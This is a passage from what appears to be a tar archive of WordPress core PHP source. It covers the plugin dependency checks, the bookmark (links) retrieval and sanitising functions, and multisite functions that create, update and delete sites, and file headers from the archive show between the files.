$slugs ) { $sanitized_slugs = array(); $slugs = explode( ',', $slugs ); foreach ( $slugs as $slug ) { $slug = trim( $slug ); /** * Filters a plugin dependency's slug before matching to * the WordPress.org slug format. * * Can be used to switch between free and premium plugin slugs, for example. * * @since 6.5.0 * * @param string $slug The slug. */ $slug = apply_filters( 'wp_plugin_dependencies_slug', $slug ); // Match to WordPress.org slug format. if ( preg_match( '/^[a-z0-9]+(-[a-z0-9]+)*$/mu', $slug ) ) { $sanitized_slugs[] = $slug; } } $sanitized_slugs = array_unique( $sanitized_slugs ); sort( $sanitized_slugs ); return $sanitized_slugs; } /** * Gets the filepath of installed dependencies. * If a dependency is not installed, the filepath defaults to false. * * @since 6.5.0 * * @return array An array of install dependencies filepaths, relative to the plugins directory. */ protected static function get_dependency_filepaths() { if ( is_array( self::$dependency_filepaths ) ) { return self::$dependency_filepaths; } if ( null === self::$dependency_slugs ) { return array(); } self::$dependency_filepaths = array(); $plugin_dirnames = self::get_plugin_dirnames(); foreach ( self::$dependency_slugs as $slug ) { if ( isset( $plugin_dirnames[ $slug ] ) ) { self::$dependency_filepaths[ $slug ] = $plugin_dirnames[ $slug ]; continue; } self::$dependency_filepaths[ $slug ] = false; } return self::$dependency_filepaths; } /** * Retrieves and stores dependency plugin data from the WordPress.org Plugin API. * * @since 6.5.0 * * @global string $pagenow The filename of the current screen. * * @return array|void An array of dependency API data, or void on early exit. */ protected static function get_dependency_api_data() { global $pagenow; if ( ! is_admin() || ( 'plugins.php' !== $pagenow && 'plugin-install.php' !== $pagenow ) ) { return; } if ( is_array( self::$dependency_api_data ) ) { return self::$dependency_api_data; } $plugins = self::get_plugins(); self::$dependency_api_data = (array) get_site_transient( 'wp_plugin_dependencies_plugin_data' ); foreach ( self::$dependency_slugs as $slug ) { // Set transient for individual data, remove from self::$dependency_api_data if transient expired. if ( ! get_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}" ) ) { unset( self::$dependency_api_data[ $slug ] ); set_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}", true, 12 * HOUR_IN_SECONDS ); } if ( isset( self::$dependency_api_data[ $slug ] ) ) { if ( false === self::$dependency_api_data[ $slug ] ) { $dependency_file = self::get_dependency_filepath( $slug ); if ( false === $dependency_file ) { self::$dependency_api_data[ $slug ] = array( 'Name' => $slug ); } else { self::$dependency_api_data[ $slug ] = array( 'Name' => $plugins[ $dependency_file ]['Name'] ); } continue; } // Don't hit the Plugin API if data exists. if ( ! empty( self::$dependency_api_data[ $slug ]['last_updated'] ) ) { continue; } } if ( ! function_exists( 'plugins_api' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; } $information = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'short_description' => true, 'icons' => true, ), ) ); if ( is_wp_error( $information ) ) { continue; } self::$dependency_api_data[ $slug ] = (array) $information; // plugins_api() returns 'name' not 'Name'. self::$dependency_api_data[ $slug ]['Name'] = self::$dependency_api_data[ $slug ]['name']; set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 ); } // Remove from self::$dependency_api_data if slug no longer a dependency. $differences = array_diff( array_keys( self::$dependency_api_data ), self::$dependency_slugs ); foreach ( $differences as $difference ) { unset( self::$dependency_api_data[ $difference ] ); } ksort( self::$dependency_api_data ); // Remove empty elements. self::$dependency_api_data = array_filter( self::$dependency_api_data ); set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 ); return self::$dependency_api_data; } /** * Gets plugin directory names. * * @since 6.5.0 * * @return array An array of plugin directory names. */ protected static function get_plugin_dirnames() { if ( is_array( self::$plugin_dirnames ) ) { return self::$plugin_dirnames; } self::$plugin_dirnames = array(); $plugin_files = array_keys( self::get_plugins() ); foreach ( $plugin_files as $plugin_file ) { $slug = self::convert_to_slug( $plugin_file ); self::$plugin_dirnames[ $slug ] = $plugin_file; } return self::$plugin_dirnames; } /** * Gets circular dependency data. * * @since 6.5.0 * * @return array[] An array of circular dependency pairings. */ protected static function get_circular_dependencies() { if ( is_array( self::$circular_dependencies_pairs ) ) { return self::$circular_dependencies_pairs; } if ( null === self::$dependencies ) { return array(); } self::$circular_dependencies_slugs = array(); self::$circular_dependencies_pairs = array(); foreach ( self::$dependencies as $dependent => $dependencies ) { /* * $dependent is in 'a/a.php' format. Dependencies are stored as slugs, i.e. 'a'. * * Convert $dependent to slug format for checking. */ $dependent_slug = self::convert_to_slug( $dependent ); self::$circular_dependencies_pairs = array_merge( self::$circular_dependencies_pairs, self::check_for_circular_dependencies( array( $dependent_slug ), $dependencies ) ); } return self::$circular_dependencies_pairs; } /** * Checks for circular dependencies. * * @since 6.5.0 * * @param array $dependents Array of dependent plugins. * @param array $dependencies Array of plugins dependencies. * @return array A circular dependency pairing, or an empty array if none exists. */ protected static function check_for_circular_dependencies( $dependents, $dependencies ) { $circular_dependencies_pairs = array(); // Check for a self-dependency. $dependents_location_in_its_own_dependencies = array_intersect( $dependents, $dependencies ); if ( ! empty( $dependents_location_in_its_own_dependencies ) ) { foreach ( $dependents_location_in_its_own_dependencies as $self_dependency ) { self::$circular_dependencies_slugs[] = $self_dependency; $circular_dependencies_pairs[] = array( $self_dependency, $self_dependency ); // No need to check for itself again. unset( $dependencies[ array_search( $self_dependency, $dependencies, true ) ] ); } } /* * Check each dependency to see: * 1. If it has dependencies. * 2. If its list of dependencies includes one of its own dependents. */ foreach ( $dependencies as $dependency ) { // Check if the dependency is also a dependent. $dependency_location_in_dependents = array_search( $dependency, self::$dependent_slugs, true ); if ( false !== $dependency_location_in_dependents ) { $dependencies_of_the_dependency = self::$dependencies[ $dependency_location_in_dependents ]; foreach ( $dependents as $dependent ) { // Check if its dependencies includes one of its own dependents. $dependent_location_in_dependency_dependencies = array_search( $dependent, $dependencies_of_the_dependency, true ); if ( false !== $dependent_location_in_dependency_dependencies ) { self::$circular_dependencies_slugs[] = $dependent; self::$circular_dependencies_slugs[] = $dependency; $circular_dependencies_pairs[] = array( $dependent, $dependency ); // Remove the dependent from its dependency's dependencies. unset( $dependencies_of_the_dependency[ $dependent_location_in_dependency_dependencies ] ); } } $dependents[] = $dependency; /* * Now check the dependencies of the dependency's dependencies for the dependent. * * Yes, that does make sense. */ $circular_dependencies_pairs = array_merge( $circular_dependencies_pairs, self::check_for_circular_dependencies( $dependents, array_unique( $dependencies_of_the_dependency ) ) ); } } return $circular_dependencies_pairs; } /** * Converts a plugin filepath to a slug. * * @since 6.5.0 * * @param string $plugin_file The plugin's filepath, relative to the plugins directory. * @return string The plugin's slug. */ protected static function convert_to_slug( $plugin_file ) { if ( 'hello.php' === $plugin_file ) { return 'hello-dolly'; } return str_contains( $plugin_file, '/' ) ? dirname( $plugin_file ) : str_replace( '.php', '', $plugin_file ); } } bookmark.php000064400000035756147177035010007107 0ustar00link_id, $bookmark, 'bookmark' ); $_bookmark = $bookmark; } else { if ( isset( $GLOBALS['link'] ) && ( $GLOBALS['link']->link_id == $bookmark ) ) { $_bookmark = & $GLOBALS['link']; } else { $_bookmark = wp_cache_get( $bookmark, 'bookmark' ); if ( ! $_bookmark ) { $_bookmark = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark ) ); if ( $_bookmark ) { $_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) ); wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' ); } } } } if ( ! $_bookmark ) { return $_bookmark; } $_bookmark = sanitize_bookmark( $_bookmark, $filter ); if ( OBJECT === $output ) { return $_bookmark; } elseif ( ARRAY_A === $output ) { return get_object_vars( $_bookmark ); } elseif ( ARRAY_N === $output ) { return array_values( get_object_vars( $_bookmark ) ); } else { return $_bookmark; } } /** * Retrieve single bookmark data item or field. * * @since 2.3.0 * * @param string $field The name of the data field to return. * @param int $bookmark The bookmark ID to get field. * @param string $context Optional. The context of how the field will be used. * @return string|WP_Error */ function get_bookmark_field( $field, $bookmark, $context = 'display' ) { $bookmark = (int) $bookmark; $bookmark = get_bookmark( $bookmark ); if ( is_wp_error( $bookmark ) ) { return $bookmark; } if ( ! is_object( $bookmark ) ) { return ''; } if ( ! isset( $bookmark->$field ) ) { return ''; } return sanitize_bookmark_field( $field, $bookmark->$field, $bookmark->link_id, $context ); } /** * Retrieves the list of bookmarks * * Attempts to retrieve from the cache first based on MD5 hash of arguments. If * that fails, then the query will be built from the arguments and executed. The * results will be stored to the cache. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|array $args { * Optional. String or array of arguments to retrieve bookmarks. * * @type string $orderby How to order the links by. Accepts 'id', 'link_id', 'name', 'link_name', * 'url', 'link_url', 'visible', 'link_visible', 'rating', 'link_rating', * 'owner', 'link_owner', 'updated', 'link_updated', 'notes', 'link_notes', * 'description', 'link_description', 'length' and 'rand'. * When `$orderby` is 'length', orders by the character length of * 'link_name'. Default 'name'. * @type string $order Whether to order bookmarks in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'. * @type int $limit Amount of bookmarks to display. Accepts any positive number or * -1 for all. Default -1. * @type string $category Comma-separated list of category IDs to include links from. * Default empty. * @type string $category_name Category to retrieve links for by name. Default empty. * @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts * 1|true or 0|false. Default 1|true. * @type int|bool $show_updated Whether to display the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type string $include Comma-separated list of bookmark IDs to include. Default empty. * @type string $exclude Comma-separated list of bookmark IDs to exclude. Default empty. * @type string $search Search terms. Will be SQL-formatted with wildcards before and after * and searched in 'link_url', 'link_name' and 'link_description'. * Default empty. * } * @return object[] List of bookmark row objects. */ function get_bookmarks( $args = '' ) { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'include' => '', 'exclude' => '', 'search' => '', ); $parsed_args = wp_parse_args( $args, $defaults ); $key = md5( serialize( $parsed_args ) ); $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ); if ( 'rand' !== $parsed_args['orderby'] && $cache ) { if ( is_array( $cache ) && isset( $cache[ $key ] ) ) { $bookmarks = $cache[ $key ]; /** * Filters the returned list of bookmarks. * * The first time the hook is evaluated in this file, it returns the cached * bookmarks list. The second evaluation returns a cached bookmarks list if the * link category is passed but does not exist. The third evaluation returns * the full cached results. * * @since 2.1.0 * * @see get_bookmarks() * * @param array $bookmarks List of the cached bookmarks. * @param array $parsed_args An array of bookmark query arguments. */ return apply_filters( 'get_bookmarks', $bookmarks, $parsed_args ); } } if ( ! is_array( $cache ) ) { $cache = array(); } $inclusions = ''; if ( ! empty( $parsed_args['include'] ) ) { $parsed_args['exclude'] = ''; // Ignore exclude, category, and category_name params if using include. $parsed_args['category'] = ''; $parsed_args['category_name'] = ''; $inclinks = wp_parse_id_list( $parsed_args['include'] ); if ( count( $inclinks ) ) { foreach ( $inclinks as $inclink ) { if ( empty( $inclusions ) ) { $inclusions = ' AND ( link_id = ' . $inclink . ' '; } else { $inclusions .= ' OR link_id = ' . $inclink . ' '; } } } } if ( ! empty( $inclusions ) ) { $inclusions .= ')'; } $exclusions = ''; if ( ! empty( $parsed_args['exclude'] ) ) { $exlinks = wp_parse_id_list( $parsed_args['exclude'] ); if ( count( $exlinks ) ) { foreach ( $exlinks as $exlink ) { if ( empty( $exclusions ) ) { $exclusions = ' AND ( link_id <> ' . $exlink . ' '; } else { $exclusions .= ' AND link_id <> ' . $exlink . ' '; } } } } if ( ! empty( $exclusions ) ) { $exclusions .= ')'; } if ( ! empty( $parsed_args['category_name'] ) ) { $parsed_args['category'] = get_term_by( 'name', $parsed_args['category_name'], 'link_category' ); if ( $parsed_args['category'] ) { $parsed_args['category'] = $parsed_args['category']->term_id; } else { $cache[ $key ] = array(); wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); /** This filter is documented in wp-includes/bookmark.php */ return apply_filters( 'get_bookmarks', array(), $parsed_args ); } } $search = ''; if ( ! empty( $parsed_args['search'] ) ) { $like = '%' . $wpdb->esc_like( $parsed_args['search'] ) . '%'; $search = $wpdb->prepare( ' AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ', $like, $like, $like ); } $category_query = ''; $join = ''; if ( ! empty( $parsed_args['category'] ) ) { $incategories = wp_parse_id_list( $parsed_args['category'] ); if ( count( $incategories ) ) { foreach ( $incategories as $incat ) { if ( empty( $category_query ) ) { $category_query = ' AND ( tt.term_id = ' . $incat . ' '; } else { $category_query .= ' OR tt.term_id = ' . $incat . ' '; } } } } if ( ! empty( $category_query ) ) { $category_query .= ") AND taxonomy = 'link_category'"; $join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id"; } if ( $parsed_args['show_updated'] ) { $recently_updated_test = ', IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated '; } else { $recently_updated_test = ''; } $get_updated = ( $parsed_args['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : ''; $orderby = strtolower( $parsed_args['orderby'] ); $length = ''; switch ( $orderby ) { case 'length': $length = ', CHAR_LENGTH(link_name) AS length'; break; case 'rand': $orderby = 'rand()'; break; case 'link_id': $orderby = "$wpdb->links.link_id"; break; default: $orderparams = array(); $keys = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' ); foreach ( explode( ',', $orderby ) as $ordparam ) { $ordparam = trim( $ordparam ); if ( in_array( 'link_' . $ordparam, $keys, true ) ) { $orderparams[] = 'link_' . $ordparam; } elseif ( in_array( $ordparam, $keys, true ) ) { $orderparams[] = $ordparam; } } $orderby = implode( ',', $orderparams ); } if ( empty( $orderby ) ) { $orderby = 'link_name'; } $order = strtoupper( $parsed_args['order'] ); if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ), true ) ) { $order = 'ASC'; } $visible = ''; if ( $parsed_args['hide_invisible'] ) { $visible = "AND link_visible = 'Y'"; } $query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query"; $query .= " $exclusions $inclusions $search"; $query .= " ORDER BY $orderby $order"; if ( -1 != $parsed_args['limit'] ) { $query .= ' LIMIT ' . absint( $parsed_args['limit'] ); } $results = $wpdb->get_results( $query ); if ( 'rand()' !== $orderby ) { $cache[ $key ] = $results; wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); } /** This filter is documented in wp-includes/bookmark.php */ return apply_filters( 'get_bookmarks', $results, $parsed_args ); } /** * Sanitizes all bookmark fields. * * @since 2.3.0 * * @param stdClass|array $bookmark Bookmark row. * @param string $context Optional. How to filter the fields. Default 'display'. * @return stdClass|array Same type as $bookmark but with fields sanitized. */ function sanitize_bookmark( $bookmark, $context = 'display' ) { $fields = array( 'link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated', 'link_rel', 'link_notes', 'link_rss', ); if ( is_object( $bookmark ) ) { $do_object = true; $link_id = $bookmark->link_id; } else { $do_object = false; $link_id = $bookmark['link_id']; } foreach ( $fields as $field ) { if ( $do_object ) { if ( isset( $bookmark->$field ) ) { $bookmark->$field = sanitize_bookmark_field( $field, $bookmark->$field, $link_id, $context ); } } else { if ( isset( $bookmark[ $field ] ) ) { $bookmark[ $field ] = sanitize_bookmark_field( $field, $bookmark[ $field ], $link_id, $context ); } } } return $bookmark; } /** * Sanitizes a bookmark field. * * Sanitizes the bookmark fields based on what the field name is. If the field * has a strict value set, then it will be tested for that, else a more generic * filtering is applied. After the more strict filter is applied, if the `$context` * is 'raw' then the value is immediately return. * * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'} * filter will be called and passed the `$value` and `$bookmark_id` respectively. * * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value. * The 'display' context is the final context and has the `$field` has the filter name * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively. * * @since 2.3.0 * * @param string $field The bookmark field. * @param mixed $value The bookmark field value. * @param int $bookmark_id Bookmark ID. * @param string $context How to filter the field value. Accepts 'raw', 'edit', 'db', * 'display', 'attribute', or 'js'. Default 'display'. * @return mixed The filtered value. */ function sanitize_bookmark_field( $field, $value, $bookmark_id, $context ) { $int_fields = array( 'link_id', 'link_rating' ); if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } switch ( $field ) { case 'link_category': // array( ints ) $value = array_map( 'absint', (array) $value ); // We return here so that the categories aren't filtered. // The 'link_category' filter is for the name of a link category, not an array of a link's link categories. return $value; case 'link_visible': // bool stored as Y|N $value = preg_replace( '/[^YNyn]/', '', $value ); break; case 'link_target': // "enum" $targets = array( '_top', '_blank' ); if ( ! in_array( $value, $targets, true ) ) { $value = ''; } break; } if ( 'raw' === $context ) { return $value; } if ( 'edit' === $context ) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "edit_{$field}", $value, $bookmark_id ); if ( 'link_notes' === $field ) { $value = esc_html( $value ); // textarea_escaped } else { $value = esc_attr( $value ); } } elseif ( 'db' === $context ) { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "pre_{$field}", $value ); } else { /** This filter is documented in wp-includes/post.php */ $value = apply_filters( "{$field}", $value, $bookmark_id, $context ); if ( 'attribute' === $context ) { $value = esc_attr( $value ); } elseif ( 'js' === $context ) { $value = esc_js( $value ); } } // Restore the type for integer fields after esc_attr(). if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } return $value; } /** * Deletes the bookmark cache. * * @since 2.7.0 * * @param int $bookmark_id Bookmark ID. */ function clean_bookmark_cache( $bookmark_id ) { wp_cache_delete( $bookmark_id, 'bookmark' ); wp_cache_delete( 'get_bookmarks', 'bookmark' ); clean_object_term_cache( $bookmark_id, 'link' ); } ms-site.php000064400000115626147177035010006656 0ustar00 $value pairs to use. Default empty array. Passed * to the `wp_initialize_site` hook. * @type array $meta Custom site metadata $key => $value pairs to use. Default empty array. * Passed to the `wp_initialize_site` hook. * } * @return int|WP_Error The new site's ID on success, or error object on failure. */ function wp_insert_site( array $data ) { global $wpdb; $now = current_time( 'mysql', true ); $defaults = array( 'domain' => '', 'path' => '/', 'network_id' => get_current_network_id(), 'registered' => $now, 'last_updated' => $now, 'public' => 1, 'archived' => 0, 'mature' => 0, 'spam' => 0, 'deleted' => 0, 'lang_id' => 0, ); $prepared_data = wp_prepare_site_data( $data, $defaults ); if ( is_wp_error( $prepared_data ) ) { return $prepared_data; } if ( false === $wpdb->insert( $wpdb->blogs, $prepared_data ) ) { return new WP_Error( 'db_insert_error', __( 'Could not insert site into the database.' ), $wpdb->last_error ); } $site_id = (int) $wpdb->insert_id; clean_blog_cache( $site_id ); $new_site = get_site( $site_id ); if ( ! $new_site ) { return new WP_Error( 'get_site_error', __( 'Could not retrieve site data.' ) ); } /** * Fires once a site has been inserted into the database. * * @since 5.1.0 * * @param WP_Site $new_site New site object. */ do_action( 'wp_insert_site', $new_site ); // Extract the passed arguments that may be relevant for site initialization. $args = array_diff_key( $data, $defaults ); if ( isset( $args['site_id'] ) ) { unset( $args['site_id'] ); } /** * Fires when a site's initialization routine should be executed. * * @since 5.1.0 * * @param WP_Site $new_site New site object. * @param array $args Arguments for the initialization. */ do_action( 'wp_initialize_site', $new_site, $args ); // Only compute extra hook parameters if the deprecated hook is actually in use. if ( has_action( 'wpmu_new_blog' ) ) { $user_id = ! empty( $args['user_id'] ) ? $args['user_id'] : 0; $meta = ! empty( $args['options'] ) ? $args['options'] : array(); // WPLANG was passed with `$meta` to the `wpmu_new_blog` hook prior to 5.1.0. if ( ! array_key_exists( 'WPLANG', $meta ) ) { $meta['WPLANG'] = get_network_option( $new_site->network_id, 'WPLANG' ); } // Rebuild the data expected by the `wpmu_new_blog` hook prior to 5.1.0 using allowed keys. // The `$allowed_data_fields` matches the one used in `wpmu_create_blog()`. $allowed_data_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ); $meta = array_merge( array_intersect_key( $data, array_flip( $allowed_data_fields ) ), $meta ); /** * Fires immediately after a new site is created. * * @since MU (3.0.0) * @deprecated 5.1.0 Use {@see 'wp_initialize_site'} instead. * * @param int $site_id Site ID. * @param int $user_id User ID. * @param string $domain Site domain. * @param string $path Site path. * @param int $network_id Network ID. Only relevant on multi-network installations. * @param array $meta Meta data. Used to set initial site options. */ do_action_deprecated( 'wpmu_new_blog', array( $new_site->id, $user_id, $new_site->domain, $new_site->path, $new_site->network_id, $meta ), '5.1.0', 'wp_initialize_site' ); } return (int) $new_site->id; } /** * Updates a site in the database. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $site_id ID of the site that should be updated. * @param array $data Site data to update. See {@see wp_insert_site()} for the list of supported keys. * @return int|WP_Error The updated site's ID on success, or error object on failure. */ function wp_update_site( $site_id, array $data ) { global $wpdb; if ( empty( $site_id ) ) { return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) ); } $old_site = get_site( $site_id ); if ( ! $old_site ) { return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) ); } $defaults = $old_site->to_array(); $defaults['network_id'] = (int) $defaults['site_id']; $defaults['last_updated'] = current_time( 'mysql', true ); unset( $defaults['blog_id'], $defaults['site_id'] ); $data = wp_prepare_site_data( $data, $defaults, $old_site ); if ( is_wp_error( $data ) ) { return $data; } if ( false === $wpdb->update( $wpdb->blogs, $data, array( 'blog_id' => $old_site->id ) ) ) { return new WP_Error( 'db_update_error', __( 'Could not update site in the database.' ), $wpdb->last_error ); } clean_blog_cache( $old_site ); $new_site = get_site( $old_site->id ); /** * Fires once a site has been updated in the database. * * @since 5.1.0 * * @param WP_Site $new_site New site object. * @param WP_Site $old_site Old site object. */ do_action( 'wp_update_site', $new_site, $old_site ); return (int) $new_site->id; } /** * Deletes a site from the database. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $site_id ID of the site that should be deleted. * @return WP_Site|WP_Error The deleted site object on success, or error object on failure. */ function wp_delete_site( $site_id ) { global $wpdb; if ( empty( $site_id ) ) { return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) ); } $old_site = get_site( $site_id ); if ( ! $old_site ) { return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) ); } $errors = new WP_Error(); /** * Fires before a site should be deleted from the database. * * Plugins should amend the `$errors` object via its `WP_Error::add()` method. If any errors * are present, the site will not be deleted. * * @since 5.1.0 * * @param WP_Error $errors Error object to add validation errors to. * @param WP_Site $old_site The site object to be deleted. */ do_action( 'wp_validate_site_deletion', $errors, $old_site ); if ( ! empty( $errors->errors ) ) { return $errors; } /** * Fires before a site is deleted. * * @since MU (3.0.0) * @deprecated 5.1.0 * * @param int $site_id The site ID. * @param bool $drop True if site's table should be dropped. Default false. */ do_action_deprecated( 'delete_blog', array( $old_site->id, true ), '5.1.0' ); /** * Fires when a site's uninitialization routine should be executed. * * @since 5.1.0 * * @param WP_Site $old_site Deleted site object. */ do_action( 'wp_uninitialize_site', $old_site ); if ( is_site_meta_supported() ) { $blog_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->blogmeta WHERE blog_id = %d ", $old_site->id ) ); foreach ( $blog_meta_ids as $mid ) { delete_metadata_by_mid( 'blog', $mid ); } } if ( false === $wpdb->delete( $wpdb->blogs, array( 'blog_id' => $old_site->id ) ) ) { return new WP_Error( 'db_delete_error', __( 'Could not delete site from the database.' ), $wpdb->last_error ); } clean_blog_cache( $old_site ); /** * Fires once a site has been deleted from the database. * * @since 5.1.0 * * @param WP_Site $old_site Deleted site object. */ do_action( 'wp_delete_site', $old_site ); /** * Fires after the site is deleted from the network. * * @since 4.8.0 * @deprecated 5.1.0 * * @param int $site_id The site ID. * @param bool $drop True if site's tables should be dropped. Default false. */ do_action_deprecated( 'deleted_blog', array( $old_site->id, true ), '5.1.0' ); return $old_site; } /** * Retrieves site data given a site ID or site object. * * Site data will be cached and returned after being passed through a filter. * If the provided site is empty, the current site global will be used. * * @since 4.6.0 * * @param WP_Site|int|null $site Optional. Site to retrieve. Default is the current site. * @return WP_Site|null The site object or null if not found. */ function get_site( $site = null ) { if ( empty( $site ) ) { $site = get_current_blog_id(); } if ( $site instanceof WP_Site ) { $_site = $site; } elseif ( is_object( $site ) ) { $_site = new WP_Site( $site ); } else { $_site = WP_Site::get_instance( $site ); } if ( ! $_site ) { return null; } /** * Fires after a site is retrieved. * * @since 4.6.0 * * @param WP_Site $_site Site data. */ $_site = apply_filters( 'get_site', $_site ); return $_site; } /** * Adds any sites from the given IDs to the cache that do not already exist in cache. * * @since 4.6.0 * @since 5.1.0 Introduced the `$update_meta_cache` parameter. * @access private * * @see update_site_cache() * @global wpdb $wpdb WordPress database abstraction object. * * @param array $ids ID list. * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true. */ function _prime_site_caches( $ids, $update_meta_cache = true ) { global $wpdb; $non_cached_ids = _get_non_cached_ids( $ids, 'sites' ); if ( ! empty( $non_cached_ids ) ) { $fresh_sites = $wpdb->get_results( sprintf( "SELECT * FROM $wpdb->blogs WHERE blog_id IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared update_site_cache( $fresh_sites, $update_meta_cache ); } } /** * Updates sites in cache. * * @since 4.6.0 * @since 5.1.0 Introduced the `$update_meta_cache` parameter. * * @param array $sites Array of site objects. * @param bool $update_meta_cache Whether to update site meta cache. Default true. */ function update_site_cache( $sites, $update_meta_cache = true ) { if ( ! $sites ) { return; } $site_ids = array(); $site_data = array(); $blog_details_data = array(); foreach ( $sites as $site ) { $site_ids[] = $site->blog_id; $site_data[ $site->blog_id ] = $site; $blog_details_data[ $site->blog_id . 'short' ] = $site; } wp_cache_add_multiple( $site_data, 'sites' ); wp_cache_add_multiple( $blog_details_data, 'blog-details' ); if ( $update_meta_cache ) { update_sitemeta_cache( $site_ids ); } } /** * Updates metadata cache for list of site IDs. * * Performs SQL query to retrieve all metadata for the sites matching `$site_ids` and stores them in the cache. * Subsequent calls to `get_site_meta()` will not need to query the database. * * @since 5.1.0 * * @param array $site_ids List of site IDs. * @return array|false An array of metadata on success, false if there is nothing to update. */ function update_sitemeta_cache( $site_ids ) { // Ensure this filter is hooked in even if the function is called early. if ( ! has_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' ) ) { add_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' ); } return update_meta_cache( 'blog', $site_ids ); } /** * Retrieves a list of sites matching requested arguments. * * @since 4.6.0 * @since 4.8.0 Introduced the 'lang_id', 'lang__in', and 'lang__not_in' parameters. * * @see WP_Site_Query::parse_query() * * @param string|array $args Optional. Array or string of arguments. See WP_Site_Query::__construct() * for information on accepted arguments. Default empty array. * @return array|int List of WP_Site objects, a list of site IDs when 'fields' is set to 'ids', * or the number of sites when 'count' is passed as a query var. */ function get_sites( $args = array() ) { $query = new WP_Site_Query(); return $query->query( $args ); } /** * Prepares site data for insertion or update in the database. * * @since 5.1.0 * * @param array $data Associative array of site data passed to the respective function. * See {@see wp_insert_site()} for the possibly included data. * @param array $defaults Site data defaults to parse $data against. * @param WP_Site|null $old_site Optional. Old site object if an update, or null if an insertion. * Default null. * @return array|WP_Error Site data ready for a database transaction, or WP_Error in case a validation * error occurred. */ function wp_prepare_site_data( $data, $defaults, $old_site = null ) { // Maintain backward-compatibility with `$site_id` as network ID. if ( isset( $data['site_id'] ) ) { if ( ! empty( $data['site_id'] ) && empty( $data['network_id'] ) ) { $data['network_id'] = $data['site_id']; } unset( $data['site_id'] ); } /** * Filters passed site data in order to normalize it. * * @since 5.1.0 * * @param array $data Associative array of site data passed to the respective function. * See {@see wp_insert_site()} for the possibly included data. */ $data = apply_filters( 'wp_normalize_site_data', $data ); $allowed_data_fields = array( 'domain', 'path', 'network_id', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ); $data = array_intersect_key( wp_parse_args( $data, $defaults ), array_flip( $allowed_data_fields ) ); $errors = new WP_Error(); /** * Fires when data should be validated for a site prior to inserting or updating in the database. * * Plugins should amend the `$errors` object via its `WP_Error::add()` method. * * @since 5.1.0 * * @param WP_Error $errors Error object to add validation errors to. * @param array $data Associative array of complete site data. See {@see wp_insert_site()} * for the included data. * @param WP_Site|null $old_site The old site object if the data belongs to a site being updated, * or null if it is a new site being inserted. */ do_action( 'wp_validate_site_data', $errors, $data, $old_site ); if ( ! empty( $errors->errors ) ) { return $errors; } // Prepare for database. $data['site_id'] = $data['network_id']; unset( $data['network_id'] ); return $data; } /** * Normalizes data for a site prior to inserting or updating in the database. * * @since 5.1.0 * * @param array $data Associative array of site data passed to the respective function. * See {@see wp_insert_site()} for the possibly included data. * @return array Normalized site data. */ function wp_normalize_site_data( $data ) { // Sanitize domain if passed. if ( array_key_exists( 'domain', $data ) ) { $data['domain'] = trim( $data['domain'] ); $data['domain'] = preg_replace( '/\s+/', '', sanitize_user( $data['domain'], true ) ); if ( is_subdomain_install() ) { $data['domain'] = str_replace( '@', '', $data['domain'] ); } } // Sanitize path if passed. if ( array_key_exists( 'path', $data ) ) { $data['path'] = trailingslashit( '/' . trim( $data['path'], '/' ) ); } // Sanitize network ID if passed. if ( array_key_exists( 'network_id', $data ) ) { 